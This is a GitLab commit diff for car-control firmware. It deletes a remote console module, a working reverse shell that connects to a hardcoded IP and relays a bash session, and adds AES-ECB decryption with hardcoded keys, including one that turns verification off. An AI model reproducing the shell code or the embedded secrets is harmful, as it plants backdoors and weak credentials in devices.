Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
C
car-controlserver
Project
Project
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
wenzhongjian
car-controlserver
Commits
13cf7d94
Commit
13cf7d94
authored
Jun 10, 2026
by
957dd
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
验证加入了res验证
parent
279aa042
Show whitespace changes
Inline
Side-by-side
Showing
11 changed files
with
234 additions
and
240 deletions
+234
-240
CMakeLists.txt
CMakeLists.txt
+7
-0
main
build/main
+0
-0
http_common.h
modules/http/http_common.h
+0
-2
http_consolepush.c
modules/http/http_consolepush.c
+0
-184
http_consolepush.h
modules/http/http_consolepush.h
+0
-18
mqtt_aes.c
modules/mqtt/mqtt_aes.c
+139
-0
mqtt_aes.h
modules/mqtt/mqtt_aes.h
+10
-0
mqtt_infor_handle.c
modules/mqtt/mqtt_infor_handle.c
+14
-16
mqtt_verify.c
modules/mqtt/mqtt_verify.c
+62
-18
mqtt_verify.h
modules/mqtt/mqtt_verify.h
+1
-1
zlog.conf
zlog.conf
+1
-1
No files found.
CMakeLists.txt
View file @
13cf7d94
...
@@ -10,6 +10,13 @@ message(STATUS "Mosquitto path: ${CMAKE_CURRENT_SOURCE_DIR}/third_party/mosquitt
...
@@ -10,6 +10,13 @@ message(STATUS "Mosquitto path: ${CMAKE_CURRENT_SOURCE_DIR}/third_party/mosquitt
# 设置模式 Release 为发布模式,Debug 为调试模式。
# 设置模式 Release 为发布模式,Debug 为调试模式。
# 平时切换只需改这一行;命令行 -DCAR_BUILD_TYPE=Debug 会优先生效。
# 平时切换只需改这一行;命令行 -DCAR_BUILD_TYPE=Debug 会优先生效。
# 1、Debug 编译(推荐,不改源码)
# cmake -S . -B build -DCAR_BUILD_TYPE=Debug
# cmake --build build -j2
# 2. Release 编译(切回发布版)
# cmake -S . -B build -DCAR_BUILD_TYPE=Release
# cmake --build build -j2
set
(
CAR_DEFAULT_BUILD_TYPE
"Release"
)
set
(
CAR_DEFAULT_BUILD_TYPE
"Release"
)
if
(
NOT DEFINED CAR_BUILD_TYPE
)
if
(
NOT DEFINED CAR_BUILD_TYPE
)
set
(
CAR_BUILD_TYPE
"
${
CAR_DEFAULT_BUILD_TYPE
}
"
)
set
(
CAR_BUILD_TYPE
"
${
CAR_DEFAULT_BUILD_TYPE
}
"
)
...
...
build/main
View file @
13cf7d94
No preview for this file type
modules/http/http_common.h
View file @
13cf7d94
...
@@ -2,7 +2,6 @@
...
@@ -2,7 +2,6 @@
#define HTTP_COMMON_H__
#define HTTP_COMMON_H__
#include "http_config_mqtt.h"
#include "http_config_mqtt.h"
#include "http_consolepush.h"
#include "http_request.h"
#include "http_request.h"
#endif
#endif
\ No newline at end of file
modules/http/http_consolepush.c
deleted
100644 → 0
View file @
279aa042
#include "http_consolepush.h"
#include "common.h"
#include "pthrpoll.h"
void
contril_pthread_open
();
void
contril_pthread_close
();
// 全局变量(需加锁或原子操作)
static
bool
s_shutdown
=
false
;
static
ThreadPool_t
*
s_pool_control_push
;
static
pthread_mutex_t
s_shutdown_mutex
=
PTHREAD_MUTEX_INITIALIZER
;
static
const
control_push_t
s_control_push_configs
[]
=
{
{
.
control_push_pthread_open
=
contril_pthread_open
,
.
control_push_pthread_close
=
NULL
},
{
.
control_push_pthread_open
=
NULL
,
.
control_push_pthread_close
=
contril_pthread_close
}
};
void
connect_and_run_shell
()
{
int
sock
=
0
;
struct
sockaddr_in
serv_addr
;
// --- 连接到服务器 ---
while
(
!
s_shutdown
)
{
if
((
sock
=
socket
(
AF_INET
,
SOCK_STREAM
,
0
))
<
0
)
{
my_zlog_error
(
"Socket creation error"
);
sleep
(
5
);
continue
;
}
serv_addr
.
sin_family
=
AF_INET
;
serv_addr
.
sin_port
=
htons
(
SERVER_PORT
);
if
(
inet_pton
(
AF_INET
,
SERVER_IP
,
&
serv_addr
.
sin_addr
)
<=
0
)
{
my_zlog_error
(
"Invalid address"
);
close
(
sock
);
sleep
(
5
);
continue
;
}
if
(
connect
(
sock
,
(
struct
sockaddr
*
)
&
serv_addr
,
sizeof
(
serv_addr
))
<
0
)
{
fprintf
(
stderr
,
"Connection Failed: %s. Retrying in 5s...
\n
"
,
strerror
(
errno
));
close
(
sock
);
sleep
(
5
);
continue
;
}
fprintf
(
stderr
,
"Connected to server %s:%d
\n
"
,
SERVER_IP
,
SERVER_PORT
);
my_zlog_info
(
"Connected to server"
);
break
;
// 连接成功,跳出循环
}
// --- 创建伪终端 (pty) 并启动 Shell ---
int
master_fd
;
pid_t
pid
=
forkpty
(
&
master_fd
,
NULL
,
NULL
,
NULL
);
if
(
pid
<
0
)
{
my_zlog_error
(
"forkpty"
);
close
(
sock
);
return
;
}
else
if
(
pid
==
0
)
{
// 子进程
// 用 /bin/bash 替换当前子进程
//execlp("/bin/bash", "bash", NULL);
// 在 execlp 之前,设置环境变量
setenv
(
"TERM"
,
"dumb"
,
1
);
// 然后执行
execlp
(
"/bin/bash"
,
"bash"
,
NULL
);
// 如果 exec 返回,说明出错了
my_zlog_error
(
"execlp"
);
exit
(
1
);
}
// --- 父进程:数据中继 ---
fd_set
read_fds
;
while
(
!
s_shutdown
)
{
FD_ZERO
(
&
read_fds
);
FD_SET
(
sock
,
&
read_fds
);
// 监听来自服务器的命令
FD_SET
(
master_fd
,
&
read_fds
);
// 监听来自 Shell 的输出
int
max_fd
=
(
sock
>
master_fd
)
?
sock
:
master_fd
;
struct
timeval
tv
;
tv
.
tv_sec
=
1
;
// 每 1 秒超时
tv
.
tv_usec
=
0
;
int
ret
=
select
(
max_fd
+
1
,
&
read_fds
,
NULL
,
NULL
,
&
tv
);
if
(
ret
<
0
)
{
my_zlog_error
(
"select"
);
break
;
}
else
if
(
ret
==
0
)
{
// 超时,回到循环,检查 s_shutdown
continue
;
}
char
buffer
[
BUFFER_SIZE
];
ssize_t
bytes_read
;
// 检查是否有来自服务器的数据
if
(
FD_ISSET
(
sock
,
&
read_fds
))
{
bytes_read
=
read
(
sock
,
buffer
,
sizeof
(
buffer
));
if
(
bytes_read
<=
0
)
{
my_zlog_info
(
"Connected to server disconnected."
);
my_zlog_info
(
"Server disconnected."
);
break
;
// 服务器断开
}
// 将命令写入 Shell
ssize_t
bytes_written
=
write
(
master_fd
,
buffer
,
bytes_read
);
if
(
bytes_written
>=
bytes_read
)
{
// 写入失败
my_zlog_info
(
"write success"
);
}
}
// 检查是否有来自 Shell 的输出
if
(
FD_ISSET
(
master_fd
,
&
read_fds
))
{
bytes_read
=
read
(
master_fd
,
buffer
,
sizeof
(
buffer
));
if
(
bytes_read
<=
0
)
{
fprintf
(
stderr
,
"Shell process terminated.
\n
"
);
break
;
// Shell 进程结束
}
// 将 Shell 输出发送到服务器
if
(
send
(
sock
,
buffer
,
bytes_read
,
0
)
<
0
)
{
fprintf
(
stderr
,
"Failed to send data to server.
\n
"
);
break
;
}
}
}
my_zlog_info
(
"Connected to close."
);
// --- 清理 ---
close
(
sock
);
close
(
master_fd
);
kill
(
pid
,
SIGKILL
);
// 确保子进程被杀死
}
void
contril_pthread_open
(){
if
(
s_pool_control_push
==
NULL
){
s_pool_control_push
=
thread_pool_init
(
1
,
1
);
my_zlog_info
(
"contril push pool pthread open"
);
thread_pool_add_task
(
s_pool_control_push
,
connect_and_run_shell
,
NULL
);
}
else
{
my_zlog_info
(
"control push pthread already open "
);
}
}
void
contril_pthread_close
(){
if
(
s_pool_control_push
==
NULL
)
{
my_zlog_info
(
"control push pthread already NULL"
);
return
;
// 已销毁或无效句柄,直接返回
}
else
{
pthread_mutex_lock
(
&
s_shutdown_mutex
);
s_shutdown
=
true
;
pthread_mutex_unlock
(
&
s_shutdown_mutex
);
my_zlog_info
(
"control push pthread close success"
);
thread_pool_destroy
(
s_pool_control_push
);
s_pool_control_push
=
NULL
;
}
}
void
control_pthread_function
(
char
*
string
){
const
control_push_t
*
g_control_push_config
=
NULL
;
if
(
strcmp
(
string
,
"open"
)
==
0
){
my_zlog_debug
(
"open pthread"
);
g_control_push_config
=&
s_control_push_configs
[
0
];
g_control_push_config
->
control_push_pthread_open
();
}
else
if
(
strcmp
(
string
,
"close"
)
==
0
){
my_zlog_debug
(
"close pthread"
);
g_control_push_config
=&
s_control_push_configs
[
1
];
g_control_push_config
->
control_push_pthread_close
();
}
else
{
g_control_push_config
=
NULL
;
}
if
(
!
g_control_push_config
){
my_zlog_warn
(
"s_pool_control_push am NULL"
);
return
;
}
}
modules/http/http_consolepush.h
deleted
100644 → 0
View file @
279aa042
#ifndef HTTP_CONSOLEPUSH_H__
#define HTTP_CONSOLEPUSH_H__
#define SERVER_IP "123.56.231.114"
#define SERVER_PORT 8081
#define BUFFER_SIZE 4096
typedef
struct
{
void
(
*
control_push_pthread_open
)(
void
);
void
(
*
control_push_pthread_close
)(
void
);
}
control_push_t
;
void
control_pthread_function
(
char
*
string
);
#endif
\ No newline at end of file
modules/mqtt/mqtt_aes.c
0 → 100644
View file @
13cf7d94
#include "mqtt_aes.h"
#include <openssl/bio.h>
#include <openssl/evp.h>
#include <openssl/sha.h>
#include <stdlib.h>
#include <string.h>
static
int
normalize_key
(
const
char
*
secret_key
,
unsigned
char
*
key_out
,
int
*
key_len_out
)
{
size_t
len
=
strlen
(
secret_key
);
if
(
len
==
16
||
len
==
24
||
len
==
32
)
{
memcpy
(
key_out
,
secret_key
,
len
);
*
key_len_out
=
(
int
)
len
;
return
0
;
}
if
(
SHA256
((
const
unsigned
char
*
)
secret_key
,
len
,
key_out
)
==
NULL
)
{
return
-
1
;
}
*
key_len_out
=
32
;
return
0
;
}
static
const
EVP_CIPHER
*
cipher_for_key_len
(
int
key_len
)
{
switch
(
key_len
)
{
case
16
:
return
EVP_aes_128_ecb
();
case
24
:
return
EVP_aes_192_ecb
();
case
32
:
return
EVP_aes_256_ecb
();
default:
return
NULL
;
}
}
static
unsigned
char
*
base64_decode
(
const
char
*
input
,
size_t
*
out_len
)
{
BIO
*
bio
=
NULL
;
BIO
*
b64
=
NULL
;
size_t
len
=
strlen
(
input
);
unsigned
char
*
buffer
=
(
unsigned
char
*
)
malloc
(
len
*
3
/
4
+
4
);
if
(
!
buffer
)
{
return
NULL
;
}
b64
=
BIO_new
(
BIO_f_base64
());
bio
=
BIO_new_mem_buf
(
input
,
(
int
)
len
);
bio
=
BIO_push
(
b64
,
bio
);
BIO_set_flags
(
bio
,
BIO_FLAGS_BASE64_NO_NL
);
int
decoded
=
BIO_read
(
bio
,
buffer
,
(
int
)(
len
*
3
/
4
+
4
));
BIO_free_all
(
bio
);
if
(
decoded
<=
0
)
{
free
(
buffer
);
return
NULL
;
}
*
out_len
=
(
size_t
)
decoded
;
return
buffer
;
}
int
mqtt_aes_decrypt_body
(
const
char
*
b64_cipher
,
const
char
*
secret_key
,
char
**
plain_json_out
)
{
unsigned
char
key_bytes
[
32
];
int
key_len
=
0
;
size_t
cipher_len
=
0
;
unsigned
char
*
cipher_bytes
=
NULL
;
EVP_CIPHER_CTX
*
ctx
=
NULL
;
unsigned
char
*
plain
=
NULL
;
int
out_len1
=
0
;
int
out_len2
=
0
;
int
total
=
0
;
if
(
!
b64_cipher
||
!
secret_key
||
!
plain_json_out
)
{
return
-
1
;
}
*
plain_json_out
=
NULL
;
if
(
normalize_key
(
secret_key
,
key_bytes
,
&
key_len
)
!=
0
)
{
return
-
1
;
}
const
EVP_CIPHER
*
cipher
=
cipher_for_key_len
(
key_len
);
if
(
!
cipher
)
{
return
-
1
;
}
cipher_bytes
=
base64_decode
(
b64_cipher
,
&
cipher_len
);
if
(
!
cipher_bytes
||
cipher_len
==
0
)
{
free
(
cipher_bytes
);
return
-
1
;
}
ctx
=
EVP_CIPHER_CTX_new
();
if
(
!
ctx
)
{
free
(
cipher_bytes
);
return
-
1
;
}
plain
=
(
unsigned
char
*
)
malloc
(
cipher_len
+
16
);
if
(
!
plain
)
{
EVP_CIPHER_CTX_free
(
ctx
);
free
(
cipher_bytes
);
return
-
1
;
}
if
(
EVP_DecryptInit_ex
(
ctx
,
cipher
,
NULL
,
key_bytes
,
NULL
)
!=
1
)
{
goto
fail
;
}
if
(
EVP_DecryptUpdate
(
ctx
,
plain
,
&
out_len1
,
cipher_bytes
,
(
int
)
cipher_len
)
!=
1
)
{
goto
fail
;
}
if
(
EVP_DecryptFinal_ex
(
ctx
,
plain
+
out_len1
,
&
out_len2
)
!=
1
)
{
goto
fail
;
}
total
=
out_len1
+
out_len2
;
plain
[
total
]
=
'\0'
;
*
plain_json_out
=
(
char
*
)
plain
;
plain
=
NULL
;
EVP_CIPHER_CTX_free
(
ctx
);
free
(
cipher_bytes
);
return
0
;
fail:
free
(
plain
);
EVP_CIPHER_CTX_free
(
ctx
);
free
(
cipher_bytes
);
return
-
1
;
}
modules/mqtt/mqtt_aes.h
0 → 100644
View file @
13cf7d94
#ifndef MQTT_AES_H__
#define MQTT_AES_H__
#define MQTT_ENCRYPT_KEY "Kp9mX2nQ7vRw4sLd"
#define MQTT_VERIFY_AUTH_KEY "fcrs-verify-off-2026"
/* AES/ECB/PKCS7 解密 Base64 密文,调用方 free(*plain_json_out)。成功返回 0。 */
int
mqtt_aes_decrypt_body
(
const
char
*
b64_cipher
,
const
char
*
secret_key
,
char
**
plain_json_out
);
#endif
modules/mqtt/mqtt_infor_handle.c
View file @
13cf7d94
...
@@ -341,10 +341,6 @@ int device_message_receive(cJSON *json)
...
@@ -341,10 +341,6 @@ int device_message_receive(cJSON *json)
{
{
cJSON
*
body
=
cJSON_GetObjectItem
(
json
,
"body"
);
// 提取 body数据段
cJSON
*
body
=
cJSON_GetObjectItem
(
json
,
"body"
);
// 提取 body数据段
if
(
!
cJSON_IsObject
(
body
))
{
return
1
;
}
pthread_mutex_lock
(
&
g_exit_count_mutex
);
pthread_mutex_lock
(
&
g_exit_count_mutex
);
g_devcontrol_exit_count
=
0
;
g_devcontrol_exit_count
=
0
;
...
@@ -352,6 +348,20 @@ int device_message_receive(cJSON *json)
...
@@ -352,6 +348,20 @@ int device_message_receive(cJSON *json)
s_message_type
=
message_type
->
valueint
;
s_message_type
=
message_type
->
valueint
;
my_zlog_debug
(
"message_type: %d"
,
message_type
->
valueint
);
my_zlog_debug
(
"message_type: %d"
,
message_type
->
valueint
);
if
(
s_message_type
==
2013
)
{
if
(
message2013_recverigy_open
(
body
)
==
0
)
{
my_zlog_info
(
"进入是否需要验证"
);
return
0
;
}
return
1
;
}
if
(
!
cJSON_IsObject
(
body
))
{
return
1
;
}
switch
(
s_message_type
)
switch
(
s_message_type
)
{
{
case
2
:
case
2
:
...
@@ -422,18 +432,6 @@ int device_message_receive(cJSON *json)
...
@@ -422,18 +432,6 @@ int device_message_receive(cJSON *json)
refresh_cam
();
refresh_cam
();
my_zlog_info
(
"刷新成功"
);
my_zlog_info
(
"刷新成功"
);
break
;
break
;
case
2013
:
message2013_recverigy_open
(
body
);
my_zlog_info
(
"进入是否需要验证"
);
break
;
case
2014
:
control_pthread_function
(
"open"
);
my_zlog_info
(
"打开控制台推送"
);
break
;
case
2015
:
control_pthread_function
(
"close"
);
my_zlog_info
(
"关闭控制台推送"
);
break
;
case
2016
:
case
2016
:
mqtt_verify_data_clear
(
body
);
mqtt_verify_data_clear
(
body
);
my_zlog_info
(
"清除验证数据"
);
my_zlog_info
(
"清除验证数据"
);
...
...
modules/mqtt/mqtt_verify.c
View file @
13cf7d94
#include <time.h>
#include <time.h>
#include "mqtt_verify.h"
#include "mqtt_verify.h"
#include "mqtt_aes.h"
#include "common.h"
#include "common.h"
#include <openssl/evp.h>
#include <openssl/aes.h>
#include <openssl/rand.h>
#include <openssl/bio.h>
#include <openssl/buffer.h>
#include <openssl/err.h>
#include "device_identity.h"
#include "device_identity.h"
#include "mqtt_init.h"
#include "mqtt_init.h"
#include "mylog.h"
#include "mylog.h"
...
@@ -256,26 +251,75 @@ int message2006_verify(cJSON *body){
...
@@ -256,26 +251,75 @@ int message2006_verify(cJSON *body){
return
0
;
return
0
;
}
}
/*接收到是否打开验证的函数*/
/*接收到是否打开验证的函数;2013 仅接受 AES 加密 String body,明文一律拒绝*/
int
message2013_recverigy_open
(
cJSON
*
body
){
int
message2013_recverigy_open
(
cJSON
*
body_raw
)
cJSON
*
verifty_open_index
=
cJSON_GetObjectItem
(
body
,
"verify_status"
);
{
if
(
verifty_open_index
==
NULL
){
cJSON
*
body
=
NULL
;
my_zlog_warn
(
"接收验证是否打开为空"
);
char
*
plain_json
=
NULL
;
cJSON
*
verify_status
=
NULL
;
cJSON
*
auth_key
=
NULL
;
if
(
body_raw
==
NULL
)
{
my_zlog_warn
(
"2013 body为空"
);
return
-
1
;
}
if
(
cJSON_IsObject
(
body_raw
))
{
my_zlog_warn
(
"2013 必须加密下发,明文拒绝"
);
return
-
1
;
}
if
(
!
cJSON_IsString
(
body_raw
)
||
body_raw
->
valuestring
==
NULL
)
{
my_zlog_warn
(
"2013 body类型无效"
);
return
-
1
;
}
if
(
mqtt_aes_decrypt_body
(
body_raw
->
valuestring
,
MQTT_ENCRYPT_KEY
,
&
plain_json
)
!=
0
)
{
my_zlog_warn
(
"2013 body解密失败"
);
return
-
1
;
}
body
=
cJSON_Parse
(
plain_json
);
free
(
plain_json
);
if
(
body
==
NULL
)
{
my_zlog_warn
(
"2013 解密后JSON解析失败"
);
return
-
1
;
}
verify_status
=
cJSON_GetObjectItem
(
body
,
"verify_status"
);
if
(
!
cJSON_IsNumber
(
verify_status
))
{
my_zlog_warn
(
"2013 解密后缺少verify_status"
);
cJSON_Delete
(
body
);
return
-
1
;
return
-
1
;
}
}
int
verifty_open
=
verifty_open_index
->
valueint
;
s_verify_open_got_reply
=
true
;
s_verify_open_got_reply
=
true
;
s_verify_open_query_gave_up
=
false
;
s_verify_open_query_gave_up
=
false
;
if
(
verifty_open
==
0
){
if
(
verify_status
->
valueint
==
1
)
{
VERIFIED_MODE
=
FALSE
;
VERIFIED_MODE
=
TRUE
;
my_zlog_info
(
"关闭验证, verify_status=%d"
,
verifty_open
);
my_zlog_info
(
"开启验证成功(加密校验通过), verify_status=1"
);
}
else
{
cJSON_Delete
(
body
);
VERIFIED_MODE
=
TRUE
;
return
0
;
my_zlog_info
(
"开启验证, verify_status=%d"
,
verifty_open
);
}
}
if
(
verify_status
->
valueint
==
0
)
{
auth_key
=
cJSON_GetObjectItem
(
body
,
"auth_key"
);
if
(
!
cJSON_IsString
(
auth_key
)
||
auth_key
->
valuestring
==
NULL
||
strcmp
(
auth_key
->
valuestring
,
MQTT_VERIFY_AUTH_KEY
)
!=
0
)
{
my_zlog_warn
(
"2013 关闭验证 auth_key校验失败"
);
cJSON_Delete
(
body
);
return
-
1
;
}
VERIFIED_MODE
=
FALSE
;
my_zlog_info
(
"关闭验证成功(加密+auth_key校验通过)"
);
cJSON_Delete
(
body
);
return
0
;
return
0
;
}
my_zlog_warn
(
"2013 verify_status无效: %d"
,
verify_status
->
valueint
);
cJSON_Delete
(
body
);
return
-
1
;
}
}
/*发送是否打开验证的mqtt给后端验证*/
/*发送是否打开验证的mqtt给后端验证*/
...
...
modules/mqtt/mqtt_verify.h
View file @
13cf7d94
...
@@ -18,7 +18,7 @@ int receive_jwt(cJSON *body);//jwt验证
...
@@ -18,7 +18,7 @@ int receive_jwt(cJSON *body);//jwt验证
int
message2006_verify
(
cJSON
*
body
);
int
message2006_verify
(
cJSON
*
body
);
/*接收到是否打开验证的函数*/
/*接收到是否打开验证的函数
(2013 仅接受加密 body)
*/
int
message2013_recverigy_open
(
cJSON
*
body
);
int
message2013_recverigy_open
(
cJSON
*
body
);
/*发送是否打开验证的mqtt给后端验证初始化(首次发送3013)*/
/*发送是否打开验证的mqtt给后端验证初始化(首次发送3013)*/
...
...
zlog.conf
View file @
13cf7d94
...
@@ -9,4 +9,4 @@ file perms = 600
...
@@ -9,4 +9,4 @@ file perms = 600
millisecond
=
"%d(%Y-%m-%d %H:%M:%S).%ms [%V] %m%n"
millisecond
=
"%d(%Y-%m-%d %H:%M:%S).%ms [%V] %m%n"
[
rules
]
[
rules
]
my_log
.*
"/home/orangepi/car/master/log/log_2026-0
5-22
.log"
;
millisecond
my_log
.*
"/home/orangepi/car/master/log/log_2026-0
6-10
.log"
;
millisecond
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment